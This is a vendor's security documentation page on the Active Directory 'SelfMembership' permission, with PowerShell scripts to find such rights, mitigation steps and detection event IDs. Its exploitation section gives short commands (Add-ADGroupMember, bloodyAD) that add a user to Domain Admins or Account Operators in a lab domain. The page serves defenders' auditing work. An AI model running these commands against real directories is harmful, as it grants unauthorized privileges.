# SelfMembership

## Summary

|                            |                                      |
| -------------------------- | ------------------------------------ |
| **FSProtect ACL Alias**    | SelfMembership                       |
| **AD Alias**               | Add/remove self from member          |
| **Affected Object Types**  | Groups                               |
| **Exploitation Certainty** | Certain                              |
| **AD Attribute**           | Member                               |
| **AD Attribute Guid**      | bf9679c0-0de6-11d0-a285-00aa003049e2 |
| **AD Right**               | Self                                 |

## Description

The `SelfMembership` permission allows a user to add themself as a member of a group in Active Directory, facilitating streamlined group management within the directory hierarchy. This permission operates as a `Self` access right on the target's `member` attribute.

However, if misconfigured, this permission can introduce a security risk. An attacker can leverage the `SelfMembership` permission via the `Add-ADGroupMember` command to add themself to a domain group, thereby gaining unauthorized access. Exploiting this vulnerability could allow for privilege escalation and persistent access within the system.

## Identification

### PowerShell

#### Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate `SelfMembership` entries.

**1.** Find-SelfMembership Function

```powershell
function Find-SelfMembership {
    [CmdletBinding()]
    param ([string]$Target,[string]$SearchBase = $null,[string]$OutputPath  = "SelfMembershipAcls.csv")
    Import-Module ActiveDirectory -ErrorAction Stop
    Write-Host "Gathering Active Directory ACLs for explicit Self permissions on the 'member' attribute..."
    $AccessControlType              = [System.Security.AccessControl.AccessControlType]::Allow
    $ActiveDirectoryRights          = [System.DirectoryServices.ActiveDirectoryRights]::Self
    $MemberAttributeGuid            = "bf9679c0-0de6-11d0-a285-00aa003049e2"
    if ($Target) {
        Write-Host "Filtering to group '$Target'..."
        try {
            $objectsToScan = @(
                Get-ADGroup -Identity $Target `
                            -Properties nTSecurityDescriptor `
                            -ErrorAction Stop
            )
        }
        catch {
            Write-Error "Failed to retrieve group '$Target': $($_.Exception.Message)"
            return
        }
    }
    else {
        $adGroupParams = @{
            Filter       = "*"
            Properties   = "nTSecurityDescriptor"
            ErrorAction  = "Stop"
        }
        if ($SearchBase) {
            $adGroupParams["SearchBase"] = $SearchBase
            Write-Host "Searching for all group objects within '$SearchBase'..."
        }
        else {Write-Host "Searching for all group objects in the domain..." }
        try {$objectsToScan = Get-ADGroup @adGroupParams }
        catch {
            Write-Error "Failed to retrieve Active Directory objects: $($_.Exception.Message)"
            return
        }
    }
    if (-not $objectsToScan) {
        Write-Output "No group objects found matching the criteria."
        return
    }
    $foundAcls = foreach ($obj in $objectsToScan) {
        $dn = $obj.DistinguishedName
        try {
            $acl = Get-Acl -Path "AD:$dn"
            foreach ($ace in $acl.Access) {
                if (
                    $ace.AccessControlType -eq $AccessControlType -and
                    $ace.ActiveDirectoryRights -band $ActiveDirectoryRights -and
                    $ace.ObjectType -eq $MemberAttributeGuid -and
                    -not $ace.IsInherited
                ) {
                    [PSCustomObject]@{
                        Group   = $dn
                        Trustee = $ace.IdentityReference.Value
                    }
                }
            }
        }
        catch {Write-Warning "Could not retrieve ACL for '$dn': $($_.Exception.Message)" }
    }
    if ($foundAcls) {
        $count = $foundAcls.Count
        Write-Host "Found $count group object(s) with explicit Self permissions on 'member'."
        try {
            $foundAcls | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
            Write-Host "Results exported to '$OutputPath'."
        }
        catch {  Write-Error "Failed to export to CSV '$OutputPath': $($_.Exception.Message)" }
    } else { Write-Output "No explicit Self-member ACLs found on any scanned group."}
}
```

**2.** Scan all domain groups in the domain

```powershell
Find-SelfMembership
```

**3.** Scan specific group

```powershell
Find-SelfMembership -Target "Backup Operators"
```

**4.** Using `SearchBase` to limit the searching scope

```powershell
Find-SelfMembership -SearchBase "CN=Users,DC=Forestall,DC=Labs"
```

#### .NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate `SelfMembership` entries without relying on any external modules or dependencies.

**1.** Find-SelfMembershipSimple Function

```powershell
function Find-SelfMembershipSimple {
    [CmdletBinding()]
    param([string]$Target= $null, [string]$SearchBase= $null,  [string]$OutputPath= "SelfMembershipAcls.csv" )
    $memberGuid = [guid]"bf9679c0-0de6-11d0-a285-00aa003049e2"
    if ($Target) {
        Write-Verbose "Binding directly to object: $Target"
        try {$entries = @( New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target") ) }
        catch {
            Write-Error "Failed to bind to '$Target': $_"
            return }
    }
    else {
        Write-Verbose "Binding to RootDSE..."
        try {
            $root      = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")
            $baseDN    = $root.Properties["defaultNamingContext"].Value
            $ldapPath  = if ($SearchBase) { "LDAP://$SearchBase" } else { "LDAP://$baseDN" }
            $searchRoot= New-Object System.DirectoryServices.DirectoryEntry($ldapPath)
            Write-Verbose "Searching for all group objects under $ldapPath..."
            $searcher = [System.DirectoryServices.DirectorySearcher]::new($searchRoot)
            $searcher.Filter           = "(objectCategory=group)"
            $searcher.PageSize         = 1000
            [void]$searcher.PropertiesToLoad.Add("distinguishedName")
            $hits = $searcher.FindAll()
            Write-Verbose "Found $($hits.Count) group(s)."
        }
        catch {
            Write-Error "LDAP enumeration failed: $_"
            return
        }
        $entries = foreach ($hit in $hits) {
            try { $hit.GetDirectoryEntry() }
            catch { Write-Warning "Could not bind entry: $_"; continue }
        }
    }
    $found = foreach ($entry in $entries) {
        $dn = $entry.distinguishedName
        Write-Verbose "Checking ACLs on: $dn"
        try {
            $acl  = $entry.ObjectSecurity
            $aces = $acl.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])
        }
        catch {
            Write-Warning "Could not read ACL for $dn : $_"
            continue
        }
        foreach ($ace in $aces) {
            if (
                $ace.AccessControlType       -eq [System.Security.AccessControl.AccessControlType]::Allow -and
                ($ace.ActiveDirectoryRights -band [System.DirectoryServices.ActiveDirectoryRights]::Self) -and
                ($ace.ObjectType           -eq $memberGuid) -and
                (-not $ace.IsInherited)
            ) {
                $who = try {
                    $ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value
                } catch {
                    $ace.IdentityReference.Value
                }
                [PSCustomObject]@{
                    Group   = $dn
                    Trustee = $who
                }
            }
        }
    }
    if ($found) {
        $found | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
        Write-Host "Exported $($found.Count) entr$(if($found.Count -eq 1){'y'}else{'ies'}) to $OutputPath"
    }
    else { Write-Host "No 'member' Self ACLs found."}
}
```

**2.** Scan all domain groups in the domain

```powershell
Find-SelfMembershipSimple
```

**3.** Scan a specific group

```powershell
Find-SelfMembershipSimple -Target "CN=Backup Operators,CN=Builtin,DC=forestall,DC=labs"
```

**4.** Using `SearchBase` to limit the searching scope

```powershell
Find-SelfMembershipSimple -SearchBase "CN=Builtin,DC=forestall,DC=labs"
```

### Active Directory Users and Computers

**1.** Open `Active Directory Users and Computers` on your Windows server.

**2.** Right-click on the group name.

**3.** Select Properties from the context menu.

**4.** In the Properties window, navigate to the Security tab.

**5.** Click on the Advanced button to open the Advanced Security Settings dialog.

**6.** In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

**7.** Click Edit to modify the selected ACE.

**8.** In the permissions list, locate and check the option `Add/remove self from member` Permission.

**9.** Click OK to save your changes and close the dialogs.

![ADUC](/files/afcbDjKDYMfOXpKge3mh)

## Exploitation

### Windows

an attacker can add itself to a group with this cmdlet.

```powershell
Add-ADGroupMember -Identity "<Vulnerable Group>" -Members "<yourself>"
```

Example:

```powershell
Add-ADGroupMember -Identity 'Domain Admins' -Members 'Attacker'
```

![Add member using ad module](/files/uTYnddOFc7ZI1HgB8ohe)

### Linux

Add self to group using `bloodyAD`

```bash
bloodyAD --host <dchost> -d <domain> -u <user>> -p '<pass>' add groupMember "<target group>" <user>
```

Example:

```bash
bloodyAD --host FSDC01.forestall.labs -d forestall.labs -u adam -p 'Temp123!' add groupMember "Account Operators" adam
```

![BloodAd Add Memeber](/files/o3h1G4oTgmGrBVmYHvkQ)

## Mitigation

Access Control Entries identified as dangerous should be removed by following the steps below.

**1.** Open `Active Directory Users and Computers`, and activate `Advanced Features` option.

**2.** Double click the affected object and open `Security` tab.

**3.** In this tab, click `Advanced` button and open the dangerous Access Control Entry.

**4.** Remove the rights that are marked as dangerous.

**5.** Click OK and Apply buttons for saving changes.

![ADUC](/files/afcbDjKDYMfOXpKge3mh)

## Detection

Adding new Access Control Entries on the Active Directory objects changes the `ntSecurityDescriptor` attribute of the objects themselves. These changes can be detected with Event IDs 5136 and 4662.. Adding new members to security groups in Active Directory changes the `member` attribute of the groups themselves. These changes can be detected with the 4756, 4728, and 4732 Event IDs to identify potentially risky group modifications.

| Event ID | Description                                              | Fields/Attributes                                   | References                                                                                                                                          |
| -------- | -------------------------------------------------------- | --------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
| 5136     | A directory service object was modified.                 | ntSecurityDescriptor                                | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136>                                                          |
| 4662     | An operation was performed on an object.                 | AccessList, AccessMask                              | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662>                                                          |
| 4756     | A member was added to a security-enabled universal group | Member, TargetUserName, SubjectUserName, MemberName | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/audit-security-group-management> |
| 4728     | A member was added to a security-enabled global group    | Member, TargetUserName, SubjectUserName, MemberName | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/audit-security-group-management> |
| 4732     | A member was added to a security-enabled local group     | Member, TargetUserName, SubjectUserName, MemberName | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4732>                      |

## References

* [Active Directory DACL (The Hacker Recipes)](https://www.thehacker.recipes/ad/movement/dacl/)
* [Abusing ACL Misconfigurations (Redfox Security Blog)](https://redfoxsec.com/blog/abusing-acl-misconfigurations/)
* [ACL Persistence Abuse (HackTricks)](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse)
* [Abusing Active Directory ACLs & ACEs (ired.team)](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/ad/selfmembership.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
